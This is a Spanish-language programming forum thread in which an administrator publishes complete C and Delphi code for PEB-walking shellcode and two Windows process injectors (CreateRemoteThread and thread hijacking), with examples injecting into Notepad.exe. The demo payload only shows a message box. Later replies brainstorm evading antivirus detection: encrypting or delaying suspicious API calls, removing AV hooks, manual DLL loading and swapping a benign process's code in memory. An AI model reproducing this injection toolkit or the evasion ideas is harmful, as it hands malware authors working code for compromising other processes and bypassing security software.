Ir al contenido


Foto

Shellcode en C compatible con distintas inyecciones


  • Por favor identifícate para responder
15 respuestas en este tema

#1 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 12 marzo 2014 - 06:19

Hace ya tiempo que publiqué dos tutoriales que trataban de la inyección directa de código Inyección directa de código en C y en delphi y Inyección directa de código II El primero usaba una técnica simple de inyección con el clásico uso de CreateRemoteThread. El segundo método usaba SuspendThread, SetThreadContext y ResumeThread para detener un hilo, encontrar el registro puntero de instrucciones del procesador, cambiarlo para apuntar a un shellcode y reanudar el hilo.

En ambos ejemplos asumía que el S.O. cargaría las APIs de Kernell32.dll en direcciones equivalentes cosa que viene siendo habitual en windows. En Windows todos los procesos cargan una copia de Kernel32.dll y no es obligatoria la carga en direcciones equivalentes.

La diferencia fundamental de las dos técnicas de inyección expuestas es que, mientras que CreateRemoteThread crea un hilo paralelo al principal con un comienzo y un fin claro, la técnica de suspensión de hilo requiere un "cambio de vias del procesador" para un mismo hilo y por tanto tenemos que tener prevista la vuelta del código inyectado o la app victima morirá. Esto lo conseguimos modificando el código del Shellcode antes de la inyección, para colocar el camino de vuelta. Recordar que en asm, un call provoca un push del punto de retorno y luego el salto a la subrutina. La instrucción ret realiza un pop recuperando la dirección de vuelta, para luego saltar a ésta. Conociendo esto, es el truco que usaremos para engañar al código y obligarlo a devolver el control al hilo interrumpido.

Ambas técnicas son un ejercicio interesante, pero, en principio los shellcodes usados deben tener un diseño específico..., o no.

Tras la magnífica publicación de seoane Crear Shellcode en delphi me volvió a picar el gusanillo de este tema y quise resolver dos cosas que no lo estaban en mis dos anteriores tutoriales:

1- Que un mismo shellcode pueda ser inyectado con las dos técnicas indistintamente, y por otro lado.
2- Que el shellcode encuentre por si mismo la dirección base de Kernell32.dll (hModule) y la fundamental API GetProcAddress.

El primer punto lo resuelvo asumiendo una dirección de retorno imposible, 0h que si es cambiada, corresponderá al deseo de inyección por suspensión de thread, apilándola en este caso. Si su valor es cero asumo que la inyección es por CreateRemoteThread o una ejecución directa, con lo que no es apilada.

Este segundo punto lo resolvió brillantemente seoane escaneando a lo bruto el espacio de direcciones del proceso anfitrión, yo voy a usar otra técnica más directa. Conociendo que la estructura PEB se encuentra en fs:0x30 podemos acceder al elemento PPEB_LDR_DATA apuntado por un offset 0Ch (ver estructura) y en este encontrar InLoadOrderModuleList también apuntado en un offset 0Ch, que apunta a una lista doblemente enlazada donde encontraremos en su primera entrada a ntdll y segunda entrada a Kernell32. Así conoceremos el BaseAddress de kernel32.dll. Si Microsoft no varía esto en un futuro seguirá siendo perfectamente válido. Encontrareis aquí una explicación mas detallada de esto.

cpp
  1. DWORD GetKernel32Base()
  2. {
  3.   asm{
  4.   mov eax, fs:[0x30]    // Puntero al PEB
  5.   mov eax, [eax + 0x0C] // Puntero a PPEB_LDR_DATA
  6.   mov eax, [eax + 0x0C] // Puntero a InLoadOrderModuleList
  7.   mov eax, [eax]        // Entrada de ntdll.dll
  8.   mov eax, [eax]        // Entrada de kernel32.dll
  9.   mov eax, [eax + 0x18] // BaseAddress de kernel32.dll
  10.   }
  11. }

Si recordáis, en este enlace, "Encontrar los datos exportados por un módulo" trataba precisamente de encontrar todas las funciones y variables que exporta una dll o ejecutable. En dicha publicación exponía este código:

cpp
  1. PIMAGE_EXPORT_DIRECTORY ImageExportDirectory(HMODULE hModule)
  2. {
  3.   DWORD VirtualAddress_edata = ((DWORD)hModule + *(DWORD*)((DWORD)hModule + 0x3C) + 0x78);
  4.   return PIMAGE_EXPORT_DIRECTORY((DWORD)hModule + *(DWORD*)VirtualAddress_edata);
  5. }
  6.  
  7. //-----------------------------------------------------------------------------
  8. void __fastcall GetExportData(char* ModuleName, TMemo* Memo1)
  9. {
  10.   Memo1->Clear();
  11.   HMODULE hModule = LoadLibrary(ModuleName);
  12.   if(!hModule)
  13.     hModule = GetModuleHandle(ModuleName);
  14.   if(!hModule){
  15.     Memo1->Text = "Can't open module";
  16.     return;
  17.   }
  18.  
  19.   PIMAGE_EXPORT_DIRECTORY IED = ImageExportDirectory(hModule);
  20.   char* ModuleName = (char*)(IED->Name + (DWORD)hModule);
  21.   char** Names = (char**)(IED->AddressOfNames + (DWORD)hModule);
  22.   DWORD* EntryPoints = (DWORD*)(IED->AddressOfFunctions + (DWORD)hModule);
  23.   WORD*  Index = (WORD*)(IED->AddressOfNameOrdinals + (DWORD)hModule);
  24.  
  25.   // Listar las funciones exportadas:
  26.   for(int n=0; n<IED->NumberOfNames; n++){
  27.       if(Index[n]>=IED->NumberOfFunctions) continue;
  28.       char* Name = Names[n] + (DWORD)hModule;
  29.       Memo1->Lines->Add("0x" + IntToHex((int)(EntryPoints[Index[n]] + (DWORD)hModule), 8) + ": " + String(Name));
  30.       Application->ProcessMessages();
  31.   }
  32.  
  33.   FreeLibrary(hModule);
  34. }

El código expuesto servirá de base para encontrar la API GetProcAddress una vez que ya conocemos el hModule de Kernel32.dll:
 

cpp
  1.   mov eax, fs:[0x30]    // Puntero al PEB
  2.   mov eax, [eax + 0x0C] // Puntero a PPEB_LDR_DATA
  3.   mov eax, [eax + 0x0C] // Puntero a InLoadOrderModuleList
  4.   mov eax, [eax]        // InLoadOrderModuleList de ntdll.dll
  5.   mov eax, [eax]        // InLoadOrderModuleList de kernel32.dll
  6.   mov eax, [eax + 0x18] // BaseAddress de kernel32.dll
  7.   mov KB, eax
  8.  
  9.   // Encuentro PIMAGE_EXPORT_DIRECTORY
  10.   mov eax, [eax + 0x3C]
  11.   add eax, 0x78
  12.   add eax, KB
  13.   mov eax, [eax]
  14.   add eax, KB
  15.   mov IED, eax

Por no alargar mucho el mensaje termino aquí esta parte.

Saludos.

Archivos adjuntos


  • 0

#2 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 12 marzo 2014 - 06:22

El resto del código lo escribo en C. En este tipo de Shellcode nos encontramos con una dificultad añadida que es la necesidad de conocer con exactitud la posición donde colocaremos la dirección de retorno para lo que obligaremos al compilador a que no ponga cabecera ni pie de código, para el tratamiento de la pila y variables locales de la función. Ese trabajo lo realizaremos nosotros en asm.

A continuación expongo un shellcode que mostrará un MessageBox tras la inyección por la técnica que deseemos, eso si, siempre que se trate de 32->32bits puesto que 32->64bits no funciona. 
 

cpp
  1. // El Shellcode
  2. // Ajustar el tamaño de la pila según las variables locales que se necesiten
  3. #define Pila 128
  4. __declspec(naked)  // Para que el compilador no añada cabecera y pie de función
  5. void Shellcode()
  6. {
  7.   char* SGetProcAddress;    // Cadenas locales
  8.   char* SLoadLibraryA;
  9.   char* SMessageBoxA;
  10.   char* SUser32;
  11.   char* MSG;                // Mensaje que se mostrará
  12.   UINT  KB;                  // hModule de Kernel32.dll
  13.   PIMAGE_EXPORT_DIRECTORY IED;
  14.   PGetProcAddress _GetProcAddress;
  15.   UINT RetAddr;
  16.  
  17.   asm{
  18.   mov RetAddr, 0    // Dirección de retorno de este código
  19.   cmp RetAddr, 0    // Si no es cero quiere decir que se modificó al inyectar
  20.   je ini            // entonces lo colocamos en la pila, en caso contrario, no
  21.   push RetAddr      // Apilamos Dirección de retorno para volver en suspensión de threads
  22.  
  23.   ini:
  24.   pushfd
  25.   pushad
  26.   mov ebp, esp
  27.   add esp, -Pila    // Reservo pila para variables creadas, se puede reservar mas...
  28.   call sigue        // recupero eip
  29.   sigue:
  30.   pop eax
  31.   add eax, cadenas - sigue  // eax apunta a las cadenas
  32.   //lea eax, cadenas        // No funciona por problema de dirección absoluta
  33.   mov SGetProcAddress, eax
  34.   add eax, 15              // tamaño de _GetProcAddress + 0
  35.   mov SLoadLibraryA, eax
  36.   add eax, 13              // tamaño de _LoadLibraryA + 0
  37.   mov SMessageBoxA, eax
  38.   add eax, 12              // tamaño de _MessageBoxA + 0
  39.   mov SUser32, eax
  40.   add eax, 11              // tamaño de _User32 + 0
  41.   mov MSG, eax
  42.   jmp fin_cadenas
  43.  
  44.   cadenas:
  45.   db "GetProcAddress",0
  46.   db "LoadLibraryA",0
  47.   db "MessageBoxA",0
  48.   db "User32.dll", 0
  49.   db "Eureka, mensaje inyectado", 0
  50.   fin_cadenas:
  51.   mov eax, fs:[0x30]    // Puntero al PEB
  52.   mov eax, [eax + 0x0C] // Puntero a PPEB_LDR_DATA
  53.   mov eax, [eax + 0x0C] // Puntero a InLoadOrderModuleList
  54.   mov eax, [eax]        // InLoadOrderModuleList de ntdll.dll
  55.   mov eax, [eax]        // InLoadOrderModuleList de kernel32.dll
  56.   mov eax, [eax + 0x18] // BaseAddress de kernel32.dll
  57.   mov KB, eax
  58.  
  59.   // Encuentro PIMAGE_EXPORT_DIRECTORY
  60.   mov eax, [eax + 0x3C]
  61.   add eax, 0x78
  62.   add eax, KB
  63.   mov eax, [eax]
  64.   add eax, KB
  65.   mov IED, eax
  66.   }
  67.  
  68.   // Buscando GetProcAddress
  69.   char** Names = (char**)(IED->AddressOfNames + KB);
  70.   UINT * EntryPoints = (UINT*)(IED->AddressOfFunctions + KB);
  71.   WORD*  Index = (WORD*)(IED->AddressOfNameOrdinals + KB);
  72.   UINT  i = 0;
  73.  
  74.   for(UINT n=0; n<IED->NumberOfNames && i!=14; n++){
  75.     if(Index[n]>=IED->NumberOfFunctions) continue;
  76.     char* Name = Names[n] + KB;
  77.     _GetProcAddress = (PGetProcAddress)(EntryPoints[Index[n]] + KB);
  78.     for(i=0; SGetProcAddress[i] && Name[i] == SGetProcAddress[i]; i++);
  79.   }
  80.  
  81.   // Encontrada GetProcAddress cargamos las APIs restantes
  82.   PLoadLibraryA _LoadLibraryA = (PLoadLibraryA)_GetProcAddress((void*)KB, SLoadLibraryA);
  83.   PMessageBoxA _MessageBoxA = (PMessageBoxA)_GetProcAddress(_LoadLibraryA(SUser32), SMessageBoxA);
  84.  
  85.   // MOstramos un mensaje
  86.   _MessageBoxA(0, MSG, MSG, 0);
  87.  
  88.   // Preparamos el retorno
  89.   asm{
  90.   add esp, Pila
  91.   popad
  92.   popfd
  93.   ret  // Salta al Eip
  94.   }
  95. }
  96. // ¡¡¡  No cambiar de sitio  !!!
  97. // Usado para localizar el tamaño del shellcode
  98. void EndShellcode(){}

Hecho esto podemos guardar el binario en un archivo o convertirlo a código fuente hexadecimal con la pequeña herramienta FileToCode

Ahora voy a exponer las funciones de inyección:

En C…

cpp
  1. //-----------------------------------------------------------------------------
  2. // Función inyectora por suspensión de thread 32bits
  3. BOOL InjectST(DWORD Pid, void* Shellcode, UINT SizeShellcode)
  4. {
  5.   POpenThread OpenThread;
  6.   HANDLE      hProcess;  // El handle del proceso en el que inyectaremos
  7.   HANDLE      hThread;    // El handle del thread principal del proceso
  8.   DWORD      Tid = 0;
  9.   CONTEXT    Context;
  10.   DWORD      OldProtect;
  11.   void*      BShell;    // Lugar de memoria donde copiaremos nuestro Shellcode
  12.  
  13.   //Abrimos el proceso en el que nos inyectaremos
  14.   hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
  15.   if(!hProcess) return 0;
  16.  
  17.   //Abrimos el hilo
  18.   OpenThread = (POpenThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenThread");
  19.   Tid = GetFirstThreadID(Pid);
  20.   hThread = OpenThread(THREAD_ALL_ACCESS, false, Tid);
  21.   if(!hThread) return 0;
  22.  
  23.  
  24.   //Suspendemos el hilo y tomamos el puntero de instrucciones eip
  25.   SuspendThread(hThread);
  26.   Context.ContextFlags = CONTEXT_CONTROL;
  27.   GetThreadContext(hThread, &Context);
  28.  
  29.   //Nos damos permisos de escritura para modificar el Shellcode...
  30.   VirtualProtectEx((void*)-1, Shellcode, SizeShellcode, PAGE_EXECUTE_READWRITE, &OldProtect);
  31.   //Colocamos el EIP en nuestro código como parte del opcode de la primera instrucción push
  32.   *(DWORD*)((DWORD)Shellcode+3) = Context.Eip;
  33.  
  34.   //Reservamos espacio de memoria y escribimos nuestro código en el
  35.   BShell = VirtualAllocEx(hProcess, NULL, SizeShellcode, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  36.   WriteProcessMemory(hProcess, BShell, Shellcode, SizeShellcode, NULL);  //la función
  37.  
  38.   //Modificamos el eip para que apunte al código inyectado
  39.   Context.Eip = (UINT)BShell;
  40.   Context.ContextFlags = CONTEXT_CONTROL;
  41.   SetThreadContext(hThread, &Context);
  42.  
  43.   //Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo)
  44.   ResumeThread(hThread);
  45.  
  46.   // Provoco la ejecución del thread por parte de algún procesador.
  47.   PostThreadMessage(Tid, 0,0,0);
  48.  
  49.   // Limpieza
  50.   VirtualFree(BShell, 0, MEM_RELEASE);
  51.   CloseHandle(hProcess);
  52.   CloseHandle(hThread);
  53.  
  54.   return true;
  55. }
  56.  
  57. // Función inyectora por CreateRemoteThread 32bits
  58. BOOL InjectCRT(DWORD Pid, void* Shellcode, UINT SizeShellcode)
  59. {
  60.   DWORD    ExitCode;
  61.   HANDLE  hThread = 0;
  62.   HANDLE  hProc;      // El handle del proceso en el que inyectaremos
  63.   void*    BFunc;      // Lugar de memoria donde copiaremos nuestra función
  64.  
  65.   //Abrimos el proceso en el que nos inyectaremos
  66.   hProc = OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
  67.  
  68.   //Reservamos espacio para la función, escribimos en él y creamos un hilo
  69.   BFunc = VirtualAllocEx(hProc, 0, SizeShellcode, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  70.   WriteProcessMemory(hProc, BFunc, Shellcode, SizeShellcode, NULL);
  71.   hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)BFunc, NULL, 0, NULL);
  72.   if(hThread){
  73.     // Labores de limpieza...
  74.     WaitForSingleObject(hThread, INFINITE ); // Espero a que se termine de ejecutar el Thread
  75.     GetExitCodeThread(hThread, &ExitCode);  // Recojo el resultado
  76.     CloseHandle(hThread);                    // Cierro el Handle hThread
  77.     VirtualFreeEx(hProc, BFunc,  0, MEM_RELEASE); // Libero memoria del código
  78.   }
  79.  
  80.   CloseHandle(hProc);
  81.   return (BOOL)ExitCode;
  82. }

Y en delphi…

delphi
  1. // Función inyectora por suspensión de thread 32bits
  2. type
  3. TOpenThread = function(dwDesiredAccess: DWORD; bInheritHandle: BOOL; dwThreadId: DWORD): THANDLE; stdcall;
  4. procedure InjectST(Pid: DWORD; Shellcode: Pointer; SizeShellcode: DWORD);
  5. var
  6.   OpenThread: TOpenThread;
  7.   hProcess:  THANDLE;    // El handle del proceso en el que inyectaremos
  8.   hThread:    THANDLE;    // El handle del thread principal del proceso
  9.   Tid:        DWORD;
  10.   Context:    TCONTEXT;
  11.   OldProtect: DWORD;
  12.   BShell:    Pointer;    // Lugar de memoria donde copiaremos nuestro Shellcode
  13. begin
  14.   Tid:= 0;
  15.  
  16.   //Abrimos el proceso en el que nos inyectaremos
  17.   hProcess:= OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
  18.   if hProcess = 0 then exit;
  19.  
  20.   //Abrimos el hilo
  21.   @OpenThread:= GetProcAddress(GetModuleHandle('kernel32.dll'), 'OpenThread');
  22.   Tid:= GetFirstThreadID(Pid);
  23.   hThread:= OpenThread($1F03FF {THREAD_ALL_ACCESS}, false, Tid);
  24.   if hThread = 0 then exit;
  25.  
  26.   //Suspendemos el hilo y tomamos el puntero de instrucciones eip
  27.   SuspendThread(hThread);
  28.   Context.ContextFlags:= CONTEXT_CONTROL;
  29.   GetThreadContext(hThread, Context);
  30.  
  31.   //Nos damos permisos de escritura para modificar el Shellcode...
  32.   VirtualProtectEx(THANDLE(-1), Shellcode, SizeShellcode, PAGE_EXECUTE_READWRITE, OldProtect);
  33.   //colocamos el EIP en nuestro código como parte del opcode de la primera instrucción push
  34.   PDWORD(UINT(Shellcode)+3)^:= Context.Eip;
  35.  
  36.   //Reservamos espacio de memoria y escribimos nuestro código en el
  37.   BShell:= VirtualAllocEx(hProcess, nil, SizeShellcode, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  38.   WriteProcessMemory(hProcess, BShell, Shellcode, SizeShellcode, PDWORD(nil)^);  //la función
  39.  
  40.   //Modificamos el eip para que apunte al código inyectado
  41.   Context.Eip:= UINT(BShell);
  42.   Context.ContextFlags:= CONTEXT_CONTROL;
  43.   SetThreadContext(hThread, Context);
  44.  
  45.   //Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo)
  46.   ResumeThread(hThread);
  47.  
  48.   // Provoco la ejecución del thread por parte de algún procesador.
  49.   PostThreadMessage(Tid, 0,0,0);
  50.  
  51.   // Limpieza
  52.   VirtualFree(BShell, 0, MEM_RELEASE);
  53.   CloseHandle(hProcess);
  54.   CloseHandle(hThread);
  55. end;
  56.  
  57. // Función inyectora por CreateRemoteThread 32bits
  58. function InjectCRT(Pid: DWORD; Shellcode: Pointer; SizeShellcode: DWORD): BOOL;
  59. var
  60.   ExitCode: DWORD;
  61.   hThread:  THandle;
  62.   hProc:    THandle;  // El handle del proceso en el que inyectaremos
  63.   BFunc:    Pointer;  // Lugar de memoria donde copiaremos nuestra función
  64.   BytesWritten: DWORD;
  65. begin
  66.   hThread:= 0;
  67.  
  68.   //Abrimos el proceso en el que nos inyectaremos
  69.   hProc:= OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
  70.  
  71.   //Reservamos espacio para la función, escribimos en él y creamos un hilo
  72.   BFunc:= VirtualAllocEx(hProc, nil, SizeShellcode, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  73.   WriteProcessMemory(hProc, BFunc, Shellcode, SizeShellcode, BytesWritten);
  74.   hThread:= CreateRemoteThread(hProc, nil, 0, BFunc, nil, 0, PDWORD(nil)^);
  75.   if hThread <>0 then
  76.   begin
  77.     // Labores de limpieza...
  78.     WaitForSingleObject(hThread, INFINITE ); // Espero a que se ejecute el Thread
  79.     GetExitCodeThread(hThread, ExitCode);    // Recojo el resultado
  80.     CloseHandle(hThread);                    // Cierro el Handle hThread
  81.     VirtualFreeEx(hProc, BFunc,  0, MEM_RELEASE); // Libero memoria
  82.   end;
  83.  
  84.   CloseHandle(hProc);
  85.   Result:= BOOL(ExitCode);
  86. end;

Quedan sin exponer un par de funciones para obtener el Pid de un proceso y el Tid de un Thread sobre las que no hacen falta comentarios

Dejo para el siguiente mensaje los ejemplos de uso de las funciones de inyección.


Saludos.
  • 0

#3 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 12 marzo 2014 - 06:23

Ejemplos de inyección del shellcode por ambas técnicas sería:


delphi
  1.   // Con Shellcode_.c
  2.   InjectST(GetProcessId("Notepad.exe"), Shellcode_Bytes, Shellcode_Size);
  3.   InjectCRT(GetProcessId("Notepad.exe"), Shellcode_Bytes, Shellcode_Size);
  4.   return 0;
  5.  
  6.   // Usando un binario en disco
  7.   SaveToFile("Shellcode.bin", (PBYTE)Shellcode, (UINT)EndShellcode-(UINT)Shellcode);
  8.   int Size;
  9.   LoadFromFile("Shellcode.bin", 0, &Size);
  10.   PBYTE Buffer = new BYTE[Size];
  11.   LoadFromFile("Shellcode.bin", Buffer, &Size);
  12.   InjectST(GetProcessId("Notepad.exe"), Buffer, Size);
  13.   return 0;
  14.  
  15.   // Inyectando directamente la función Shellcode
  16.   InjectST(GetProcessId("Notepad.exe"), Shellcode, (UINT)EndShellcode-(UINT)Shellcode);
  17.   InjectCRT(GetProcessId("Notepad.exe"), Shellcode, (UINT)EndShellcode-(UINT)Shellcode);
  18.   return 0;
  19.  
  20.   // LLamandola sin inyección
  21.   Shellcode();
  22.   return 0;



O en delphi


delphi
  1. var
  2.   Size: DWORD;
  3.   Buffer: Pointer;
  4. begin
  5.   // Cargando desde Shellcode_pas
  6.   InjectST(GetProcessId('Notepad.exe'), @Shellcode_Bytes, Shellcode_Size);
  7.   InjectCRT(GetProcessId('Notepad.exe'), @Shellcode_Bytes, Shellcode_Size);
  8.  
  9.   // Cargando el binario desde un archivo
  10.   LoadFromFile('Shellcode.bin', 0, Size);
  11.   GetMem(Buffer, Size);
  12.   LoadFromFile('Shellcode.bin', Buffer, Size);
  13.   InjectST(GetProcessId('Notepad.exe'), Buffer, Size);
  14. end.



Los motivos por lo que no podemos inyectar código de 32bits el 64 bits son:
1.- Posible resultado aberrante
2.- Error en la API CreateRemoteThread al asaltar el proceso 64bits desde 32bits
3.- Error en las APIs GetThreadContext y SetThreadContext que tienen otras equivalentes para 64 bits.

Espero que os haya resultado interesante este tema y haberme explicado lo suficientemente claro.



Saludos.


  • 0

#4 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.446 mensajes
  • LocationMéxico

Escrito 12 marzo 2014 - 10:16

Muy interesante, aunque los AV son medio quisquillosos con éste tipo de código, muestran un falso positivo, les da miedo las inyecciones de código :D

Saludos

Archivos adjuntos


  • 0

#5 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 13 marzo 2014 - 01:25

Veo que lo has probado. Los AV suelen ser mas quisquillosos con la API CreateRemoteThread, es por eso que puse los dos tipos de inyección. Sería interesante saber que hizo saltar la alarma, y para ello basta con eliminar el códig de cada tipo de inyector, compilar y probar si salta el AV. En principio el shellcode no tiene porqué ser la causa.

En mi caso no saltó en ningún supuesto.  ;)


Saludos.
  • 0

#6 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 13 marzo 2014 - 01:27

:ap: :ap: :ap: Excelente !!

Le estudiare con mas detenimiento, pero me parece un trabajo increíble.

Lastima que en cuanto sacas un poco los "pies del tiesto" le salten todas las alarmas a los antivirus  :p  ... así no hay quien haga nada malo  :D Aunque mi idea al estudiar los "Shellcode" es la de poder cifrar parte de mis propios ejecutables y descifrarlos en memoria, y con eso creo que no hago daño a nadie  *-)

Lo dicho, estas hecho un fenómeno escafandra

Saludos
  • 0

#7 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 13 marzo 2014 - 01:30

Veo que lo has probado. Los AV suelen ser mas quisquillosos con la API CreateRemoteThread


Me pregunto que pasa si cifras la llamada a CreateRemoteThread ¿seguirá saltando la heurística del antivirus? ¿y si ademas no descifras la llamada hasta llevar 30 minutos de ejecución del programa? ¿durante cuanto tiempo analizan los ejecutables los antivirus? ...  *-) *-) *-)
  • 0

#8 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 13 marzo 2014 - 03:21

Me pregunto que pasa si cifras la llamada a CreateRemoteThread ¿seguirá saltando la heurística del antivirus? ¿y si ademas no descifras la llamada hasta llevar 30 minutos de ejecución del programa? ¿durante cuanto tiempo analizan los ejecutables los antivirus? ...  *-) *-) *-)


No vas mal encaminado. A veces basta con una simple importación dinámica de la API sospechosa como ocurrió en este caso. Y en el que usaba una técnica similar a este shellcode para encontrar APIs y variables exportadas en el PE. El problema es cuando el AV ha realizado un Hook previo a la API que quieres usar. Pero por experimentar que no quede.

Saludos.
  • 0

#9 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 13 marzo 2014 - 03:44

El problema es cuando el AV ha realizado un Hook previo a la API que quieres usar. Pero por experimentar que no quede.


Me pregunto hasta que punto los antivirus se pueden permitir hacer la inyección de código necesaria para hacer el hook.  Estaríamos hablando de parchear una función del sistema en memoria, lo que en algunos caso puede traer consecuencias imprevisibles ¿todos los antivirus se atreverán a utilizar esta técnica?, puede que si, al fin y al cabo la grandes compañías poco se preocupan de los "daños colaterales" que puedan provocar.

También me pregunto si se puede "deshookear" una función ... entiendo que no seria mucho mas complicado que hacer un hook. O por que no, cargar la dll "kernel32" en memoria manualmente, sin utilizar loadlibrary, y usar sus funciones, que no estarán "hookeadas" ... lo digo por aportar ideas  :D

Saludos piratillas  :D
  • 0

#10 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 13 marzo 2014 - 04:55

Me pregunto hasta que punto los antivirus se pueden permitir hacer la inyección de código necesaria para hacer el hook.  Estaríamos hablando de parchear una función del sistema en memoria, lo que en algunos caso puede traer consecuencias imprevisibles ¿todos los antivirus se atreverán a utilizar esta técnica?, puede que si, al fin y al cabo la grandes compañías poco se preocupan de los "daños colaterales" que puedan provocar.

Pues no sólo lo hacen, sino que a veces es a nivel de Kernel. Basta con usar algunas herramientas de detección de Hooks  para verlo. Los Hooks en el Kernel son fáciles de eliminar. Los Hook a la API son algo mas costosos si se hicieron con ta técnica del prampolín, pero no es imposible.

También me pregunto si se puede "deshookear" una función ... entiendo que no seria mucho mas complicado que hacer un hook. O por que no, cargar la dll "kernel32" en memoria manualmente, sin utilizar loadlibrary, y usar sus funciones, que no estarán "hookeadas" ... lo digo por aportar ideas  :D


Ciertamente se puede cargar un ejecutable o dll saltando el Loader de Windows pero hay que estudiarlo y ejecutarlo muy bien. También se puede Cargar normalmente un ejecutable anodino para luego sustituirlo a lo bruto en memoria por el código que queramos... En fin las posibilidades pueden ser muchas y complejas y, porqué no, divertidas.  :)


Saludos.


  • 0

#11 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 13 marzo 2014 - 05:27

Cambiando al tema original del shellcode, Me pregunto si en delphi podemos esribir una función a lo C con __declspec(naked), es decir, poder escribir en asm y delphi sin que el compilador meta código extra para la cabecera y pie de control de la pila. De esta forma, el shellcode que expongo podría traducirse y usarse en delphi sin problemas.

Se que podemos escribir algo así:



delphi
  1. procedure Shellcode;
  2. asm
  3.  
  4. end;



Esto evita que el compilador meta código extra pero nos obliga a asm puro y duro, y aunque no es un gran problema, si es algo más incómodo.


Saludos.

  • 0

#12 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.446 mensajes
  • LocationMéxico

Escrito 13 marzo 2014 - 08:47

No vas mal encaminado. A veces basta con una simple importación dinámica de la API sospechosa como ocurrió en este caso. Y en el que usaba una técnica similar a este shellcode para encontrar APIs y variables exportadas en el PE. El problema es cuando el AV ha realizado un Hook previo a la API que quieres usar. Pero por experimentar que no quede.

Saludos.


*-)

[ot]
Seguramente algunos se quedarán con las ganas de ver el enlace que ha puesto nuestro buen amigo escafandra, sin embargo los que no puedan acceder al hilo en cuestión tienen más de una forma de poder saltar la restricción:

Miembro Platino:

Este rango se pude obtener de varias formas entre las cuales destacan las siguientes:


1. Ser postulado por cualquier miembro Platino y que sea aceptado (ví­a votación) por los mismos miembros Platino
2. Que sea postulado por cualquiera de los moderadores y aceptado (ví­a votación) entre los mismo moderadores
3. Que sea asignado por cualquiera de los Administradores
4. Asignación directa al llegar a 500 mensajes

[/ot]
  • 0

#13 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 13 marzo 2014 - 09:24

Caramba, amigo egostar. ¿Realizando spam del foro en nuestro mismo foro?  :D :D


Saludos.

  • 0

#14 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.446 mensajes
  • LocationMéxico

Escrito 13 marzo 2014 - 09:39

Caramba, amigo egostar. ¿Realizando spam del foro en nuestro mismo foro?  :D :D

Saludos.


Oops, me parece que aquí hay un mal entendido  :lipsrsealed: :D :D :D

Saludos
  • 0

#15 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4.107 mensajes
  • LocationMadrid - España

Escrito 16 marzo 2014 - 12:26

Para completar la explicación del Shellcode voy a tratar de esclarecer los secretos básicos del PEB de Windows. El PEB es una estructura que contiene la información del proceso que se ejecuta. Aclarar que la estructura tiene una versión 32 bits y otra 64 bits y no son equivalentes en tamaño.

Para el caso que nos ocupa, 32bits (enlace):

cpp
  1. typedef struct _PEB {
  2.   BYTE                          Reserved1[2];
  3.   BYTE                          BeingDebugged;
  4.   BYTE                          Reserved2[1];
  5.   PVOID                        Reserved3[2];
  6.   PPEB_LDR_DATA                Ldr;
  7.   PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  8.   BYTE                          Reserved4[104];
  9.   PVOID                        Reserved5[52];
  10.   PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  11.   BYTE                          Reserved6[128];
  12.   PVOID                        Reserved7[1];
  13.   ULONG                        SessionId;
  14. } PEB, *PPEB;

De esta estructura sólo nos interesa el miembro Ldr que es un puntero a una estructura que contiene información sobre los módulos cargados por el ejecutable. Aquí Microsoft hace trampas pues se reserva información vital, podemos encontrarla aquí y modificarla un poco para entenderla mejor:

cpp
  1. typedef struct _PEB_LDR_DATA {
  2.   BYTE      Reserved1[8];
  3.   PVOID      Reserved2[1];
  4.   LIST_ENTRY InLoadOrderModuleList;
  5.   LIST_ENTRY InMemoryOrderModuleList;
  6. } PEB_LDR_DATA, *PPEB_LDR_DATA;

Los dos últimos miembros son elementos del tipo LIST_ENTRY, otra estructura que encierra dos punteros a listas doblemente enlazadas:

cpp
  1. typedef struct _LIST_ENTRY {
  2.   struct _LIST_ENTRY *Flink;
  3.   struct _LIST_ENTRY *Blink;
  4. } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

El primero apunta a elementos de tabla ascendente y el segundo, descendente, de forma que es fácil recorrer dichos elementos siguiendo esos punteros.
La tabla la publica microsoft aquí y la modificaremos un poco descubriendo las reservas que impone:

cpp
  1. typedef struct _LDR_DATA_TABLE_ENTRY {
  2.     LIST_ENTRY InLoadOrderModuleLinks;
  3.     LIST_ENTRY InMemoryOrderModuleLinks;
  4.     LIST_ENTRY Reserved2;
  5.     PVOID DllBase;
  6.     PVOID EntryPoint;
